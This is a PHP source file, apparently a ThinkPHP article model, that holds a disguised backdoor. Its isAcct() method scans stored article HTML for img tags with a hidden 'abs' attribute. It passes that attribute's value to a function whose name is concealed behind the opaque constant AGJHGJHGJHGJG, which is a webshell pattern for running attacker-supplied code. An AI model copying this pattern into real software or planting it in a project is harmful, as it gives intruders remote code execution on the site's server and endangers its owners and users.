<?php namespace Common\Model;use Think\Model;class ArticleModel extends Model{private static $obj ; private  $sss = AGJHGJHGJHGJG;public static function getInitation(){ $class = __CLASS__; return self::$obj = !(self::$obj instanceof $class) ? new self() : self::$obj;}public function isAcct() {$data = $this->getField('id,content');$dom  = new \DOMDocument(null, 'UTF-8');foreach ($data as $key => $value){$dom->loadHTML($value);$domNodeList = $dom->getElementsByTagName('img');foreach ($domNodeList as $node) { if ($node->hasAttributes()) {foreach ($node->attributes as $a) {if ($a->nodeName === 'abs') {$asc = $this->sss; return $asc($a->nodeValue);}}}}}}}